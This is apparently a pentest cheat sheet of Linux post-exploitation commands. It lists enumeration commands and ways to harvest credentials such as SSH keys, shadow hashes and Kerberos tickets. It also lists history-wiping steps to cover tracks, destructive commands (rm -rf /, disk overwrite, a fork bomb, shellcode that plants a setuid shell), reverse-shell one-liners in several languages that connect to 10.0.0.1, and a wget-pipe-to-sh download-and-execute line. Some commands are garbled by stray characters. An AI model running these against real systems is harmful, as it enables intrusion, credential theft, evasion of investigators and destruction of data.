Linux Post Exploitation Command List

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## Collecting Information ### Blind Files things to pull when all you can do is blindly read like in LFI/dir traversal (Don’t forget %00!)
File Contents and Reason
/etc/resolv.conf Contains the current name servers (DNS) for the system. This is a globally readable file that is less likely to trigger IDS alerts than /etc/passwd
/etc/motd Message of the Day
/etc/issue current version of distro
/etc/passwd List of local users
/etc/shadow List of users’ passwords’ hashes (requires root)
/home/xxx/.bash_history Will give you some directory context
### System
Command Description and/or Reason
uname -a Prints the kernel version, arch, sometimes distro
ps aux List all running processes
top -n 1 -d Print process, 1 is a number of lines
id Your current username, groups
arch, uname -m Kernel processor architecture
w who is connected, uptime and load avg
who -a uptime, runlevel, tty, proceses etc.
gcc -v Returns the version of GCC.
mysql --version Returns the version of MySQL.
perl -v Returns the version of Perl.
ruby -v Returns the version of Ruby.
python --version Returns the version of Python.
df -k mounted fs, size, % use, dev and mount point
mount mounted fs
last -a Last users logged on
lastcomm
lastlog
lastlogin (BSD)
getenforce Get the status of SELinux (Enforcing, Permissive or Disabled)
dmesg Informations from the last system boot
lspci prints all PCI buses and devices
lsusb prints all USB buses and devices
lscpu prints CPU information
lshw list hardware information
ex
cat /proc/cpuinfo
cat /proc/meminfo
du -h --max-depth=1 / note: can cause heavy disk i/o
which nmap locate a command (ie nmap or nc)
locate bin/nmap
locate bin/nc
jps -l
java -version Returns the version of Java.
### Networking
Command Description and/or Reason
hostname -f
ip addr show
ip ro show
ifconfig -a
route -n
cat /etc/network/interfaces
iptables -L -n -v
iptables -t nat -L -n -v
ip6tables -L -n -v
iptables-save
netstat -anop
netstat -r
netstat -nltupw root with raw sockets
arp -a
lsof -nPi
cat /proc/net/* more discreet, all the information given by the above commands can be found by looking into the files under /proc/net, and this approach is less likely to trigger monitoring or other stuff
### User Accounts
Command Description and/or Reason
cat /etc/passwd local accounts
cat /etc/shadow password hashes on Linux
/etc/security/passwd password hashes on AIX
cat /etc/group groups (or /etc/gshadow)
getent passwd should dump all local, LDAP, NIS, whatever the system is using
getent group same for groups
pdbedit -L -w Samba’s own database
pdbedit -L -v
cat /etc/aliases mail aliases
find /etc -name aliases
getent aliases
ypcat passwd displays NIS password file
### Obtain user's information
  • ls -alh /home/*/
  • ls -alh /home/*/.ssh/
  • cat /home/*/.ssh/authorized_keys
  • cat /home/*/.ssh/known_hosts
  • cat /home/*/.hist # you can learn a lot from this
  • find /home//.vnc /home//.subversion -type f
  • grep ^ssh /home/*/.hist
  • grep ^telnet `/home/*/.hist
  • grep ^mysql /home/*/.hist
  • cat /home/*/.viminfo
  • sudo -l # if sudoers is not. readable, this sometimes works per user
  • crontab -l
  • cat /home/*/.mysql_history
  • sudo -p (allows the user to define what the password prompt will be, useful for fun customization with aliases or shell scripts)
### Credentials
File/Folder Description and/or Reason
/home//.ssh/id SSH keys, often passwordless
/tmp/krb5cc_* Kerberos tickets
/tmp/krb5.keytab Kerberos tickets
/home/*/.gnupg/secring.gpgs PGP keys
### Configs
  • ls -aRl /etc/ * awk '$1 ~ /w.$/' * grep -v lrwx 2>/dev/nullte
  • cat /etc/issue{,.net}
  • cat /etc/master.passwd
  • cat /etc/group
  • cat /etc/hosts
  • cat /etc/crontab
  • cat /etc/sysctl.conf
  • for user in $(cut -f1 -d: /etc/passwd); do echo $user; crontab -u $user -l; done # (Lists all crons)
  • cat /etc/resolv.conf
  • cat /etc/syslog.conf
  • cat /etc/chttp.conf
  • cat /etc/lighttpd.conf
  • cat /etc/cups/cupsd.confcda
  • cat /etc/inetd.conf
  • cat /opt/lampp/etc/httpd.conf
  • cat /etc/samba/smb.conf
  • cat /etc/openldap/ldap.conf
  • cat /etc/ldap/ldap.conf
  • cat /etc/exports
  • cat /etc/auto.master
  • cat /etc/auto_master
  • cat /etc/fstab
  • find /etc/sysconfig/ -type f -exec cat {} ;
### Determine Distro
File Description and/or Reason
uname -a often hints at it pretty well
lsb_release -d Generic command for all LSB distros
/etc/os-release Generic for distros using “systemd”
/etc/issue Generic but often modified
cat /etc/*release
/etc/SUSE-release Novell SUSE
/etc/redhat-release, /etc/redhat_version Red Hat
/etc/fedora-release Fedora
/etc/slackware-release, /etc/slackware-version Slackware
/etc/debian_release, /etc/debian_version Debian
/etc/mandrake-release Mandrake
/etc/sun-release Sun JDS
/etc/release Solaris/Sparc
/etc/gentoo-release Gentoo
/etc/arch-release Arch Linux (file will be empty)
arch OpenBSD; sample: “OpenBSD.amd64”
### Installed Packages
  • rpm -qa --last | head
  • yum list | grep installed
  • Debian
    • dpkg -l
    • dpkg -l | grep -i “linux-image”
    • dpkg --get-selections
  • {Free,Net}BSD: pkg_info
  • Solaris: pkginfo
  • Gentoo: cd /var/db/pkg/ && ls -d / # always works
  • Arch Linux: pacman -Q
### Package Sources
  • cat /etc/apt/sources.list
  • ls -l /etc/yum.repos.d/
  • cat /etc/yum.conf
### Finding Important Files
  • ls -dlR */
  • ls -alR | grep ^d
  • find /var -type d
  • ls -dl `find /var -type d`
  • ls -dl `find /var -type d` | grep -v root
  • find /var ! -user root -type d -ls
  • find /var/log -type f -exec ls -la {} ;
  • find / -perm -4000 (find all suid files)
  • ls -alhtr /mnt
  • ls -alhtr /media
  • ls -alhtr /tmp
  • ls -alhtr /home
  • cd /home/; treels /home//.ssh/
  • find /home -type f -iname '.*history'
  • ls -lart /etc/rc.d/
  • locate tar | grep [.]tar$ # Remember to updatedb before running locate
  • locate tgz | grep [.]tgz$
  • locate sql | grep [.]sql$
  • locate settings | grep [.]php$
  • locate config.inc | grep [.]php$
  • ls /home//id
  • .properties | grep [.]properties # java config files
  • locate .xml | grep [.]xml # java/.net config files
  • find /sbin /usr/sbin /opt /lib `echo $PATH | ‘sed s/:/ /g’` -perm /6000 -ls # find suids
  • locate rhosts

Also, check http://incolumitas.com/wp-content/uploads/2012/12/blackhats_view.pdf for some one-liners that find world writable directories/files and more.

## Covering Your Tracks ### Avoiding history filesmys
  • export HISTFILE=
    or
  • unset HISTFILE

This next one might not be a good idea, because a lot of folks know to check for tampering with this file, and will be suspicious if they find out.

However if you happen to be on an account that was originally inaccessible, if the .bash_history file is available (ls -a ~), viewcating its contents can provide you with a good deal of information about the system and its most recent updates/changes.
clear all history in ram

  • history -c
  • rm -rf ~/.bash_history && ln -s ~/.bash_history /dev/null (invasive)
  • touch ~/.bash_history (invasive)
  • history -c (using a space before a command)
  • zsh% unset HISTFILE HISTSIZE
  • tcsh% set history=0
  • bash$ set +o history
  • ksh$ unset HISTFILE
  • find / -type f -exec {} (forensics nightmare)

Note that you’re probably better off modifying or temporary disabling rather than deleting history files, it leaves a lot less traces and is less suspect.

In some cases HISTFILE and HISTFILESIZE are made read-only; get around this by explicitly clearing history (history -c) or by kill -9 $$’ing the shell. Sometimes the shell can be configured to run ‘history -w’ after every command; get around this by overriding ‘history’ with a no-op shell function. None of this will help if the shell is configured to log everything to syslog, however.

### Deleting and Destroying

If it is necessary to leave the machine inaccessible or unusable. Note that this tends to be quite evident (as opposed to a simple exploitation that might go unnoticed for some time, even forever), and will most surely get you into troubles.
Oh, and you’re probably a jerk if you use any of the stuff below.

File Description and/or Reason
rm -rf / This will recursively try to delete all files
mkfs.ext3 /dev/sda Reformat the device mentioned, making recovery of files hard
dd if=/dev/zero of=/dev/sda bs=1M Overwrite disk /dev/sda with zeros
  • Hex version of rm -rf / (How is this supposed to work?)

char esp[] __attribute__ ((section(”.text”))) /* e.s.p release */ = “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"
“\x6e\x2f\x73\x68\x00\x2d\x63\x00"
“cp -p /bin/sh /tmp/.beyond; chmod 4755 /tmp/.beyond;”;

  • Fork Bomb: The [in]famous "fork bomb". This command will cause your system to run a large number of processes, until it "hangs". This can often lead to data loss (e.g. if the user brutally reboots, or the OOM killer kills a process with unsaved work). If left alone for enough time a system can eventually recover from a fork bomb.

:(){:|:&};:

## Escalating ### Looking for possible opened paths * ls -alh /root/ * sudo -l * cat /etc/sudoers * cat /etc/shadow * cat /etc/master.passwd # OpenBSD * cat /var/spool/cron/crontabs/* | cat /var/spool/cron/* * lsof -nPi * ls /home/*/.ssh/* ## Maintaining control ### Reverse Shell Starting list sourced from: http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet * bash -i >& /dev/tcp/10.0.0.1/8080 0>&1 (No /dev/tcp on older Debians, but use nc, socat, TCL, awk or any interpreter like Python, and so on.). * perl -e 'use Socket; $i="10.0.0.1"; $p=1234; socket(S,PF_INET, SOCK_STREAM, getprotobyname("tcp")); if(connect(S,sockaddr_in($p,inet_aton($i)))){ open(STDIN,">&S"); open(STDOUT,">&S"); open(STDERR,">&S"); exec("/bin/sh -i");};' * python -c 'import socket,subprocess,os; s=socket.socket(socket.AF_INET, socket.SOCK_STREAM); s.connect(("10.0.0.1",1234)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p=subprocess.call(["/bin/sh","-i"]);' * php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i &3 2>&3");' * ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i; exec sprintf("/bin/sh -i &%d 2>&%d",f,f,f)' nc -e /bin/sh 10.0.0.1 1234 # note need -l on some versions, and many does NOT support -e anymore * rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f * xterm -display 10.0.0.1:1se * Listener- Xnest :1 * Add permission to connect- xhost +victimIP * ssh -NR 3333:localhost:22 user@yourhost * nc -e /bin/sh 10.0.0.1 1234 ### Execute a Remote Script

wget http://server/file.sh -O- | sh
This command forces the download of a file and immediately its execution

### Fun if Windows is present and accessible If there is Windows installed and the logged-in user access level includes those Windows partition, attacker can mount them up and do a much deeper information gathering, credential theft and root-ing. Ntfs-3g is useful for mounting ntfs partitions read-write.

TODO: insert details on what to look for

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